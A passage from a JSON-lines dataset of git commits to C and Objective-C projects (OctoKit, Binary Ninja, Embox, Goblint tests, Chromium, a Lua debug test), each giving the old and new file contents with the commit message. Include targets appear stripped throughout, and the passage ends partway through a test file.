revision=198696\n","lang":"C","license":"lgpl-2.1","repos":"Jtalk\/kopete-fork-xep0136,josh-wambua\/kopete,josh-wambua\/kopete,Jtalk\/kopete-fork-xep0136,josh-wambua\/kopete,josh-wambua\/kopete,josh-wambua\/kopete,Jtalk\/kopete-fork-xep0136,josh-wambua\/kopete,Jtalk\/kopete-fork-xep0136,Jtalk\/kopete-fork-xep0136,josh-wambua\/kopete,Jtalk\/kopete-fork-xep0136"} {"commit":"5ad831820bf5c3c557f3b49e70c76c54a92e0085","old_file":"OctoKit\/OCTFileContent.h","new_file":"OctoKit\/OCTFileContent.h","old_contents":"\/\/\n\/\/ OCTFileContent.h\n\/\/ OctoKit\n\/\/\n\/\/ Created by Aron Cedercrantz on 14-07-2013.\n\/\/ Copyright (c) 2013 GitHub. All rights reserved.\n\/\/\n\n#import \"OCTContent.h\"\n\n\/\/ A file in a git repository.\n@interface OCTFileContent : OCTContent\n\n\/\/ The encoding of the file content.\n@property (nonatomic, copy, readonly) NSString *encoding;\n\n\/\/ The raw, encoded, content of the file.\n\/\/\n\/\/ See encoding for the encoding used.\n@property (nonatomic, copy, readonly) NSString *content;\n\n@end\n","new_contents":"\/\/\n\/\/ OCTFileContent.h\n\/\/ OctoKit\n\/\/\n\/\/ Created by Aron Cedercrantz on 14-07-2013.\n\/\/ Copyright (c) 2013 GitHub. All rights reserved.\n\/\/\n\n#import \"OCTContent.h\"\n\n\/\/ A file in a git repository.\n@interface OCTFileContent : OCTContent\n\n\/\/ The encoding of the file content.\n@property (nonatomic, copy, readonly) NSString *encoding;\n\n\/\/ The raw, encoded, content of the file.\n\/\/\n\/\/ See `encoding` for the encoding used.\n@property (nonatomic, copy, readonly) NSString *content;\n\n@end\n","subject":"Add backticks around the ref to encoding property.","message":"Add backticks around the ref to encoding property.\n\nSigned-off-by: Aron Cedercrantz ","lang":"C","license":"mit","repos":"daukantas\/octokit.objc,cnbin\/octokit.objc,CHNLiPeng\/octokit.objc,phatblat\/octokit.objc,cnbin\/octokit.objc,GroundControl-Solutions\/octokit.objc,yeahdongcn\/octokit.objc,jonesgithub\/octokit.objc,GroundControl-Solutions\/octokit.objc,daemonchen\/octokit.objc,CleanShavenApps\/octokit.objc,wrcj12138aaa\/octokit.objc,xantage\/octokit.objc,CHNLiPeng\/octokit.objc,Palleas\/octokit.objc,daemonchen\/octokit.objc,leichunfeng\/octokit.objc,wrcj12138aaa\/octokit.objc,leichunfeng\/octokit.objc,phatblat\/octokit.objc,Acidburn0zzz\/octokit.objc,daukantas\/octokit.objc,Acidburn0zzz\/octokit.objc,xantage\/octokit.objc,jonesgithub\/octokit.objc,Palleas\/octokit.objc"} {"commit":"0245c9fed8f4a463a005a2562e7a06a999fc1b5f","old_file":"categories\/software_Development\/C\/run_linux_command-popen\/runcmd.c","new_file":"categories\/software_Development\/C\/run_linux_command-popen\/runcmd.c","old_contents":"","new_contents":"#include\n#include\n\n\/* Run an program (in this case 'ls -la') and show it in stdout *\/\n\nint main(void) \n{\n FILE *fd;\n char str_cmd[1024], str_buf[1024];\n\n sprintf(str_cmd, \"ls -la \/tmp >\/dev\/null && echo testmt > \/tmp\/sysmt.log && cat \/tmp\/sysmt.log\");\n \/\/sprintf(str_cmd, \"ls -la \/tmp\");\n\n fd = popen(str_cmd, \"r\");\n while (fgets(str_buf, 1024, fd) != NULL)\n printf(\"%s\", str_buf);\n\t\n fclose(fd);\n\n exit(0);\n}\n","subject":"Add example to run an command on linux using C language","message":"Add example to run an command on linux using C language\n","lang":"C","license":"apache-2.0","repos":"mtulio\/kb,mtulio\/kb,mtulio\/kb,mtulio\/kb,mtulio\/kb,mtulio\/kb,mtulio\/kb,mtulio\/kb,mtulio\/kb,mtulio\/kb"} {"commit":"09c0f20bb9372909232397300d74329cc793c552","old_file":"ui\/reflectionview.h","new_file":"ui\/reflectionview.h","old_contents":"#pragma once\n\n#include \n#include \n#include \n\n#include \"binaryninjaapi.h\"\n#include \"dockhandler.h\"\n#include \"uitypes.h\"\n\nclass ContextMenuManager;\nclass DisassemblyContainer;\nclass Menu;\nclass ViewFrame;\n\nclass BINARYNINJAUIAPI ReflectionView: public QWidget, public DockContextHandler\n{\n\tQ_OBJECT\n\tQ_INTERFACES(DockContextHandler)\n\n\tViewFrame* m_frame;\n\tBinaryViewRef m_data;\n\tDisassemblyContainer* m_disassemblyContainer;\n\npublic:\n\tReflectionView(ViewFrame* frame, BinaryViewRef data);\n\t~ReflectionView();\n\n\tvirtual void notifyOffsetChanged(uint64_t offset) override;\n\tvirtual void notifyViewChanged(ViewFrame* frame) override;\n\tvirtual bool shouldBeVisible(ViewFrame* frame) override;\n\nprotected:\n\tvirtual void contextMenuEvent(QContextMenuEvent* event) override;\n};\n","new_contents":"#pragma once\n\n#include \n#include \n#include \n\n#include \"binaryninjaapi.h\"\n#include \"dockhandler.h\"\n#include \"uitypes.h\"\n\nclass ContextMenuManager;\nclass DisassemblyContainer;\nclass Menu;\nclass ViewFrame;\n\nclass BINARYNINJAUIAPI ReflectionView: public QWidget, public DockContextHandler\n{\n\tQ_OBJECT\n\tQ_INTERFACES(DockContextHandler)\n\n\tViewFrame* m_frame;\n\tBinaryViewRef m_data;\n\tDisassemblyContainer* m_disassemblyContainer;\n\npublic:\n\tReflectionView(ViewFrame* frame, BinaryViewRef data);\n\t~ReflectionView();\n\n\tvirtual void notifyOffsetChanged(uint64_t offset) override;\n\tvirtual void notifyViewChanged(ViewFrame* frame) override;\n\tvirtual void notifyVisibilityChanged(bool visible) override;\n\tvirtual bool shouldBeVisible(ViewFrame* frame) override;\n\nprotected:\n\tvirtual void contextMenuEvent(QContextMenuEvent* event) override;\n};\n","subject":"Update reflection view on transition to visible state.","message":"Update reflection view on transition to visible state.\n","lang":"C","license":"mit","repos":"Vector35\/binaryninja-api,Vector35\/binaryninja-api,joshwatson\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,joshwatson\/binaryninja-api,joshwatson\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,joshwatson\/binaryninja-api,joshwatson\/binaryninja-api,Vector35\/binaryninja-api"} {"commit":"6a5ae45aad7943b8da905f2f1d7c894e412843ea","old_file":"cli\/tests\/hello\/hello.c","new_file":"cli\/tests\/hello\/hello.c","old_contents":"#include \n\n#ifndef ENV_NAME\n# define ENV_NAME \"host\"\n#endif\n\nint main(int argc, char* argv)\n{\n printf(\"Hello World from Rebuild environment \" ENV_NAME \"\\n\");\n return 0;\n}\n","new_contents":"#include \n\n#ifndef ENV_NAME\n# define ENV_NAME \"host\"\n#endif\n\nint main(int argc, char** argv)\n{\n printf(\"Hello World from Rebuild environment \" ENV_NAME \"\\n\");\n return 0;\n}\n","subject":"Fix main parameter of the test application","message":"tests: Fix main parameter of the test application\n\n[ci skip]\n\nSigned-off-by: Yan Vugenfirer \n","lang":"C","license":"apache-2.0","repos":"rbld\/rebuild,daynix\/rebuild,rbld\/rebuild,daynix\/rebuild,daynix\/rebuild,rbld\/rebuild"} {"commit":"8ebd28f63a1d16787621568363329a99b56d4184","old_file":"platform\/stm32f7\/cmds\/stm32f7_lcd_test.c","new_file":"platform\/stm32f7\/cmds\/stm32f7_lcd_test.c","old_contents":"","new_contents":"\n#include \n#include \n#include \n\n#include \"stm32746g_discovery.h\"\n#include \"stm32746g_discovery_lcd.h\"\n#include \"stm32746g_discovery_sdram.h\"\n\n#define LCD_FRAMEBUFFER SDRAM_DEVICE_ADDR\n\nstatic void lcd_test(void) {\n\tif (BSP_LCD_Init() != LCD_OK) {\n\t\tprintf(\">>> BSP_LCD_Init failed\\n\");\n\t}\n\n\t\/* Initialize the LCD Layers *\/\n\tBSP_LCD_LayerDefaultInit(LTDC_ACTIVE_LAYER, LCD_FRAMEBUFFER);\n\n\n\t \/* Set LCD Foreground Layer *\/\n\tBSP_LCD_SelectLayer(LTDC_ACTIVE_LAYER);\n\n\tBSP_LCD_SetFont(&LCD_DEFAULT_FONT);\n\n\t\/* Clear the LCD *\/\n\tBSP_LCD_SetBackColor(LCD_COLOR_WHITE);\n\tBSP_LCD_Clear(LCD_COLOR_WHITE);\n\n\t\/* Set the LCD Text Color *\/\n\tBSP_LCD_SetTextColor(LCD_COLOR_DARKBLUE);\n\n\t\/* Display LCD messages *\/\n\tBSP_LCD_DisplayStringAt(0, 10, (uint8_t *)\"STM32F746G BSP\", CENTER_MODE);\n\n\tBSP_LCD_SetTextColor(LCD_COLOR_DARKGREEN);\n\tBSP_LCD_DisplayStringAt(0, 60, (uint8_t *)\"Embox LCD example\", CENTER_MODE);\n\n\tBSP_LCD_SetTextColor(LCD_COLOR_BLACK);\n\tBSP_LCD_DisplayStringAt(0, 200, (uint8_t *)\"All rights reserved\", CENTER_MODE);\n}\n\nint main(int argc, char *argv[]) {\n\tprintf(\"STM32F7 LCD test start\\n\");\n\t\n\tlcd_test();\n\n\twhile (1) {\n\t}\n\n\treturn 0;\n}\n","subject":"Add new cube-based LCD test","message":"stm32f7: Add new cube-based LCD test\n","lang":"C","license":"bsd-2-clause","repos":"embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox"} {"commit":"a339e7138090b2a756b89bdc1f3b9969bb5c5870","old_file":"tests\/regression\/36-octapron\/50-evalint.c","new_file":"tests\/regression\/36-octapron\/50-evalint.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --sets ana.activated[+] octApron --enable ana.int.interval\n#include \n\nvoid foo(int a, int *pb) {\n int b = *pb;\n \/\/ base knows a == 4 and b == 4, octApron only knows a == 4\n assert(a == b);\n}\n\nvoid main() {\n int x, y, z, a, b;\n if (x < y && y < z) {\n \/\/ base doesn't know anything, octApron knows x < y < z\n assert(x < y);\n assert(y < z);\n assert(x < z);\n\n if (3 <= x && z <= 5) {\n \/\/ base knows 3 <= x and z <= 5, octApron knows x == 3 and y == 4 and z == 5\n a = y; \/\/ base should now know a == 4 via EvalInt query\n\n assert(x == 3);\n assert(y == 4);\n assert(z == 5);\n assert(a == 4);\n\n b = 4;\n foo(a, &b); \/\/ base should add a == 4 and b == 4 to context, octApron only adds a == 4\n }\n }\n}\n","subject":"Add octapron test where base gets precise value for variable from octapron via EvalInt query","message":"Add octapron test where base gets precise value for variable from octapron via EvalInt query\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"} {"commit":"04e00705faf26d7d6f009350cdadc5279dd4e72a","old_file":"Classes\/AXTabBar.h","new_file":"Classes\/AXTabBar.h","old_contents":"\/\/\n\/\/ AXTabBar.h\n\/\/ Pods\n\/\/\n\n#import \n\ntypedef enum : NSUInteger {\n AXTabBarStyleDefault = 0,\n AXTabBarStyleVariableWidthButton,\n} AXTabBarStyle;\n\n@class AXTabBar;\n\n@protocol AXTabBarDelegate \n@optional\n- (BOOL)tabBar:(AXTabBar *)tabBar shouldSelectItem:(UITabBarItem *)item;\n- (void)tabBar:(AXTabBar *)tabBar didSelectItem:(UITabBarItem *)item;\n@end\n\n@interface AXTabBar : UIView\n@property (copy, nonatomic) NSArray *items;\n@property (assign, nonatomic) UITabBarItem *selectedItem;\n@property (assign, nonatomic) id delegate;\n@property (strong, nonatomic) UIFont *tabBarButtonFont;\n\n\/\/ TODO: implement this style option.\n\/\/@property (nonatomic) AXTabBarStyle tabBarStyle;\n@end\n","new_contents":"\/\/\n\/\/ AXTabBar.h\n\/\/ Pods\n\/\/\n\n#import \n\ntypedef enum : NSUInteger {\n AXTabBarStyleDefault = 0,\n AXTabBarStyleVariableWidthButton,\n} AXTabBarStyle;\n\n@class AXTabBar;\n\n@protocol AXTabBarDelegate \n@optional\n- (BOOL)tabBar:(AXTabBar *)tabBar shouldSelectItem:(UITabBarItem *)item;\n- (void)tabBar:(AXTabBar *)tabBar didSelectItem:(UITabBarItem *)item;\n@end\n\n@interface AXTabBar : UIView\n@property (copy, nonatomic) NSArray *items;\n@property (assign, nonatomic) UITabBarItem *selectedItem;\n@property (assign, nonatomic) id delegate;\n@property (strong, nonatomic) UIFont *tabBarButtonFont;\n\n@property (nonatomic) AXTabBarStyle tabBarStyle;\n\n@end\n","subject":"Allow tab bar style property","message":"Allow tab bar style property","lang":"C","license":"mit","repos":"nickelsberry\/AXStretchableHeaderTabViewController,nickelsberry\/AXStretchableHeaderTabViewController,nickelsberry\/AXStretchableHeaderTabViewController"} {"commit":"6a290fc5fd5d3146c0ef725dbb0391e5caca27bc","old_file":"source\/image_processing\/computed_field_threshold_image_filter_app.h","new_file":"source\/image_processing\/computed_field_threshold_image_filter_app.h","old_contents":"\/* OpenCMISS-Cmgui Application\n*\n* This Source Code Form is subject to the terms of the Mozilla Public\n* License, v. 2.0. If a copy of the MPL was not distributed with this\n* file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n\n\n#if !defined (COMPUTED_FIELD_THRESHOLD_IMAGE_FILTER_H_)\n#define COMPUTED_FIELD_THRESHOLD_IMAGE_FILTER_H_\n\n#include \"general\/debug.h\"\n#include \"general\/enumerator_app.h\"\n#include \"general\/message.h\"\n#include \"command\/parser.h\"\n\nPROTOTYPE_OPTION_TABLE_ADD_ENUMERATOR_FUNCTION(cmzn_field_imagefilter_threshold_condition);\n\nint Computed_field_register_types_threshold_image_filter(\n\tstruct Computed_field_package *computed_field_package);\n\n#endif\n","new_contents":"\/* OpenCMISS-Cmgui Application\n*\n* This Source Code Form is subject to the terms of the Mozilla Public\n* License, v. 2.0. If a copy of the MPL was not distributed with this\n* file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n\n\n#if !defined (COMPUTED_FIELD_THRESHOLD_IMAGE_FILTER_H_)\n#define COMPUTED_FIELD_THRESHOLD_IMAGE_FILTER_H_\n\n#include \"zinc\/types\/fieldimageprocessingid.h\"\n#include \"general\/enumerator_app.h\"\n\nPROTOTYPE_OPTION_TABLE_ADD_ENUMERATOR_FUNCTION(cmzn_field_imagefilter_threshold_condition);\n\nint Computed_field_register_types_threshold_image_filter(\n\tstruct Computed_field_package *computed_field_package);\n\n#endif\n","subject":"Fix missing include for image processing threshold filter enum preventing cmgui from building on Ubuntu 14.04. https:\/\/tracker.physiomeproject.org\/show_bug.cgi?id=3895","message":"Fix missing include for image processing threshold filter enum preventing cmgui from building on Ubuntu 14.04. https:\/\/tracker.physiomeproject.org\/show_bug.cgi?id=3895\n\n","lang":"C","license":"mpl-2.0","repos":"cmiss\/cmgui,cmiss\/cmgui"} {"commit":"63acafe0c39437980004f0cfbdb394f828958bfb","old_file":"alura\/c\/ponteiro.c","new_file":"alura\/c\/ponteiro.c","old_contents":"","new_contents":"#include \n\nvoid calcula(int* c) {\n printf(\"calcula %d %d\\n\", (*c), c);\n (*c)++;\n printf(\"calcula %d %d\\n\", (*c), c);\n}\n\nint main() {\n\n int c = 10;\n\n printf(\"main %d %d\\n\", c, &c);\n calcula(&c);\n printf(\"main %d %d\\n\", c, &c);\n}\n","subject":"Update files, Alura, Introdução a C - Parte 2, Aula 5.1","message":"Update files, Alura, Introdução a C - Parte 2, Aula 5.1\n","lang":"C","license":"mit","repos":"fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs"} {"commit":"2cb74a0913f6568a87de9246063e74089c38ea10","old_file":"Example\/BonMot\/NSDictionary+BONEquality.h","new_file":"Example\/BonMot\/NSDictionary+BONEquality.h","old_contents":"\/\/\n\/\/ NSDictionary+BONEquality.h\n\/\/ BonMot\n\/\/\n\/\/ Created by Zev Eisenberg on 7\/11\/15.\n\/\/ Copyright © 2015 Zev Eisenberg. All rights reserved.\n\/\/\n\n@import Foundation;\n\n@import CoreGraphics.CGBase;\n\nOBJC_EXTERN const CGFloat kBONCGFloatEpsilon;\nOBJC_EXTERN BOOL BONCGFloatsCloseEnough(CGFloat float1, CGFloat float2);\n\n\/\/ clang-format off\n@interface NSDictionary (BONEquality)\n\n- (BOOL)bon_isCloseEnoughEqualToDictionary : (NSDictionary *_Nullable)dictionary;\n\n@end\n\/\/ clang-format off\n","new_contents":"\/\/\n\/\/ NSDictionary+BONEquality.h\n\/\/ BonMot\n\/\/\n\/\/ Created by Zev Eisenberg on 7\/11\/15.\n\/\/ Copyright © 2015 Zev Eisenberg. All rights reserved.\n\/\/\n\n@import Foundation;\n\n@import CoreGraphics.CGBase;\n\nOBJC_EXTERN const CGFloat kBONCGFloatEpsilon;\nOBJC_EXTERN BOOL BONCGFloatsCloseEnough(CGFloat float1, CGFloat float2);\n\n\/\/ clang-format off\n@interface NSDictionary (BONEquality)\n\n- (BOOL)bon_isCloseEnoughEqualToDictionary : (NSDictionary *_Nullable)dictionary;\n\n@end\n\/\/ clang-format on\n","subject":"Fix copypasta to re-enable clang-format.","message":"Fix copypasta to re-enable clang-format.\n","lang":"C","license":"mit","repos":"Raizlabs\/BonMot,Raizlabs\/BonMot,Raizlabs\/BonMot"} {"commit":"7afb68bf3ea5c1549f10e3bdb7f25ecb51256786","old_file":"tests.c","new_file":"tests.c","old_contents":"#include \"lua.h\"\n\n#include \"lua_debug.h\"\n\nint main() {\n return 0;\n}\n","new_contents":"#include \"lua.h\"\n#include \"lualib.h\"\n#include \"lauxlib.h\"\n\n#include \"lua_debug.h\"\n\nstatic const luaL_Reg STANDARD_LIBS[] = {\n { \"_G\", luaopen_base },\n { LUA_TABLIBNAME, luaopen_table },\n { LUA_STRLIBNAME, luaopen_string },\n { LUA_MATHLIBNAME, luaopen_math },\n { LUA_DBLIBNAME, luaopen_debug },\n { 0, 0 }\n};\n\nint main() {\n lua_State * l = (lua_State *)luaL_newstate();\n const luaL_Reg *lib;\n\n for (lib = STANDARD_LIBS; lib->func; ++lib) {\n luaL_requiref(l, lib->name, lib->func, 1);\n lua_pop(l, 1);\n }\n\n lua_debug_init(l, \"\/tmp\/socket_lua_debug\");\n return 0;\n}\n","subject":"Add a test program with a bit more substance.","message":"Add a test program with a bit more substance.\n","lang":"C","license":"mit","repos":"laarmen\/lua_debug,laarmen\/lua_debug"} {"commit":"542c416be33f1cc748530f20db2025f43f490b30","old_file":"content\/public\/common\/resource_devtools_info.h","new_file":"content\/public\/common\/resource_devtools_info.h","old_contents":"\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CONTENT_COMMON_RESOURCE_DEVTOOLS_INFO_H_\n#define CONTENT_COMMON_RESOURCE_DEVTOOLS_INFO_H_\n\n#include \n#include \n\n#include \"base\/basictypes.h\"\n#include \"base\/memory\/ref_counted.h\"\n#include \"content\/common\/content_export.h\"\n\nnamespace content {\n\nstruct ResourceDevToolsInfo : base::RefCounted {\n typedef std::vector >\n HeadersVector;\n\n CONTENT_EXPORT ResourceDevToolsInfo();\n\n int32 http_status_code;\n std::string http_status_text;\n HeadersVector request_headers;\n HeadersVector response_headers;\n std::string request_headers_text;\n std::string response_headers_text;\n\n private:\n friend class base::RefCounted;\n CONTENT_EXPORT ~ResourceDevToolsInfo();\n};\n\n} \/\/ namespace content\n\n#endif \/\/ CONTENT_COMMON_RESOURCE_DEVTOOLS_INFO_H_\n","new_contents":"\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CONTENT_COMMON_RESOURCE_DEVTOOLS_INFO_H_\n#define CONTENT_COMMON_RESOURCE_DEVTOOLS_INFO_H_\n\n#include \n#include \n\n#include \"base\/basictypes.h\"\n#include \"base\/memory\/ref_counted.h\"\n#include \"base\/strings\/string_split.h\"\n#include \"content\/common\/content_export.h\"\n\nnamespace content {\n\nstruct ResourceDevToolsInfo : base::RefCounted {\n typedef base::StringPairs HeadersVector;\n\n CONTENT_EXPORT ResourceDevToolsInfo();\n\n int32 http_status_code;\n std::string http_status_text;\n HeadersVector request_headers;\n HeadersVector response_headers;\n std::string request_headers_text;\n std::string response_headers_text;\n\n private:\n friend class base::RefCounted;\n CONTENT_EXPORT ~ResourceDevToolsInfo();\n};\n\n} \/\/ namespace content\n\n#endif \/\/ CONTENT_COMMON_RESOURCE_DEVTOOLS_INFO_H_\n","subject":"Use base::StringPairs where appropriate from \/content","message":"Use base::StringPairs where appropriate from \/content\n\nBecause base\/strings\/string_split.h defines:\ntypedef std::vector > StringPairs;\n\nBUG=412250\n\nReview URL: https:\/\/codereview.chromium.org\/600163003\n\nCr-Commit-Position: 972c6d2dc6dd5efdad1377c0d224e03eb8f276f7@{#296649}\n","lang":"C","license":"bsd-3-clause","repos":"hgl888\/chromium-crosswalk-efl,Jonekee\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,chuan9\/chromium-crosswalk,fujunwei\/chromium-crosswalk,dednal\/chromium.src,ltilve\/chromium,dednal\/chromium.src,Jonekee\/chromium.src,Pluto-tv\/chromium-crosswalk,dushu1203\/chromium.src,dushu1203\/chromium.src,hgl888\/chromium-crosswalk-efl,dednal\/chromium.src,M4sse\/chromium.src,ltilve\/chromium,markYoungH\/chromium.src,M4sse\/chromium.src,PeterWangIntel\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,markYoungH\/chromium.src,markYoungH\/chromium.src,Pluto-tv\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,Jonekee\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,M4sse\/chromium.src,hgl888\/chromium-crosswalk-efl,Just-D\/chromium-1,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,dushu1203\/chromium.src,TheTypoMaster\/chromium-crosswalk,ltilve\/chromium,mohamed--abdel-maksoud\/chromium.src,Pluto-tv\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,dushu1203\/chromium.src,hgl888\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,chuan9\/chromium-crosswalk,axinging\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Just-D\/chromium-1,fujunwei\/chromium-crosswalk,Jonekee\/chromium.src,dednal\/chromium.src,TheTypoMaster\/chromium-crosswalk,Just-D\/chromium-1,Fireblend\/chromium-crosswalk,Just-D\/chromium-1,Pluto-tv\/chromium-crosswalk,axinging\/chromium-crosswalk,Jonekee\/chromium.src,markYoungH\/chromium.src,markYoungH\/chromium.src,markYoungH\/chromium.src,Chilledheart\/chromium,krieger-od\/nwjs_chromium.src,jaruba\/chromium.src,Chilledheart\/chromium,fujunwei\/chromium-crosswalk,jaruba\/chromium.src,Pluto-tv\/chromium-crosswalk,axinging\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,TheTypoMaster\/chromium-crosswalk,axinging\/chromium-crosswalk,chuan9\/chromium-crosswalk,Fireblend\/chromium-crosswalk,fujunwei\/chromium-crosswalk,M4sse\/chromium.src,Pluto-tv\/chromium-crosswalk,jaruba\/chromium.src,ltilve\/chromium,hgl888\/chromium-crosswalk,markYoungH\/chromium.src,Chilledheart\/chromium,jaruba\/chromium.src,hgl888\/chromium-crosswalk-efl,Jonekee\/chromium.src,krieger-od\/nwjs_chromium.src,axinging\/chromium-crosswalk,ltilve\/chromium,crosswalk-project\/chromium-crosswalk-efl,Just-D\/chromium-1,M4sse\/chromium.src,M4sse\/chromium.src,dednal\/chromium.src,Just-D\/chromium-1,Just-D\/chromium-1,M4sse\/chromium.src,Chilledheart\/chromium,dushu1203\/chromium.src,Jonekee\/chromium.src,M4sse\/chromium.src,hgl888\/chromium-crosswalk,axinging\/chromium-crosswalk,Fireblend\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,ltilve\/chromium,mohamed--abdel-maksoud\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,Fireblend\/chromium-crosswalk,dushu1203\/chromium.src,krieger-od\/nwjs_chromium.src,mohamed--abdel-maksoud\/chromium.src,Jonekee\/chromium.src,Jonekee\/chromium.src,dushu1203\/chromium.src,hgl888\/chromium-crosswalk,M4sse\/chromium.src,dednal\/chromium.src,krieger-od\/nwjs_chromium.src,fujunwei\/chromium-crosswalk,markYoungH\/chromium.src,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,dednal\/chromium.src,chuan9\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,dushu1203\/chromium.src,Chilledheart\/chromium,axinging\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,dednal\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,jaruba\/chromium.src,Pluto-tv\/chromium-crosswalk,dednal\/chromium.src,Fireblend\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,chuan9\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,dushu1203\/chromium.src,Chilledheart\/chromium,chuan9\/chromium-crosswalk,chuan9\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Fireblend\/chromium-crosswalk,Just-D\/chromium-1,jaruba\/chromium.src,ltilve\/chromium,ltilve\/chromium,markYoungH\/chromium.src,mohamed--abdel-maksoud\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,jaruba\/chromium.src,M4sse\/chromium.src,TheTypoMaster\/chromium-crosswalk,jaruba\/chromium.src,Chilledheart\/chromium,PeterWangIntel\/chromium-crosswalk,Chilledheart\/chromium,chuan9\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,krieger-od\/nwjs_chromium.src,dednal\/chromium.src,jaruba\/chromium.src,Fireblend\/chromium-crosswalk,ltilve\/chromium,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,markYoungH\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,Jonekee\/chromium.src,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk,jaruba\/chromium.src,hgl888\/chromium-crosswalk,Jonekee\/chromium.src,hgl888\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,dednal\/chromium.src,Fireblend\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,axinging\/chromium-crosswalk,dushu1203\/chromium.src,fujunwei\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,Chilledheart\/chromium,crosswalk-project\/chromium-crosswalk-efl,krieger-od\/nwjs_chromium.src,M4sse\/chromium.src,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,jaruba\/chromium.src,markYoungH\/chromium.src,chuan9\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,dushu1203\/chromium.src,Just-D\/chromium-1,axinging\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk"} {"commit":"c57a5ce0df04be61bafedc0f3043d568103c7ab5","old_file":"arch\/powerpc\/include\/uapi\/asm\/byteorder.h","new_file":"arch\/powerpc\/include\/uapi\/asm\/byteorder.h","old_contents":"#ifndef _ASM_POWERPC_BYTEORDER_H\n#define _ASM_POWERPC_BYTEORDER_H\n\n\/*\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version\n * 2 of the License, or (at your option) any later version.\n *\/\n#include \n\n#endif \/* _ASM_POWERPC_BYTEORDER_H *\/\n","new_contents":"#ifndef _ASM_POWERPC_BYTEORDER_H\n#define _ASM_POWERPC_BYTEORDER_H\n\n\/*\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version\n * 2 of the License, or (at your option) any later version.\n *\/\n#ifdef __LITTLE_ENDIAN__\n#include \n#else\n#include \n#endif\n\n#endif \/* _ASM_POWERPC_BYTEORDER_H *\/\n","subject":"Include the appropriate endianness header","message":"powerpc: Include the appropriate endianness header\n\nThis patch will have powerpc include the appropriate generic endianness\nheader depending on what the compiler reports.\n\nSigned-off-by: Ian Munsie <2796b2a6f60f1cdadaf10e577f7c9240e2ad3d38@au1.ibm.com>\nSigned-off-by: Anton Blanchard <14deb5e5e417133e888bf47bb6a3555c9bb7d81c@samba.org>\nSigned-off-by: Benjamin Herrenschmidt \n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"} {"commit":"4618ec7636fa2cbd3f8907d3f72d4ad7cb772d36","old_file":"tests\/regression\/02-base\/51-evalint-deep.c","new_file":"tests\/regression\/02-base\/51-evalint-deep.c","old_contents":"","new_contents":"\/\/ from SV-COMP: nla-digbench-scaling\/ps6-ll_valuebound5.c\n\/\/ contains deep integer expressions that shouldn't cause extremely exponential slowdown\n\/\/ when evaluated by base's eval_rv and EvalInt jointly\n\/\/ runs (as unknown) under 0.1s\n\n#include \nvoid assume_abort_if_not(int cond) {\n if(!cond) {abort();}\n}\n\nint main() {\n short k;\n long long y, x, c;\n assume_abort_if_not(k>=0 && k<=5);\n assume_abort_if_not(k <= 256);\n\n y = 0;\n x = 0;\n c = 0;\n\n while (1) {\n assert(-2*y*y*y*y*y*y - 6 * y*y*y*y*y - 5 * y*y*y*y 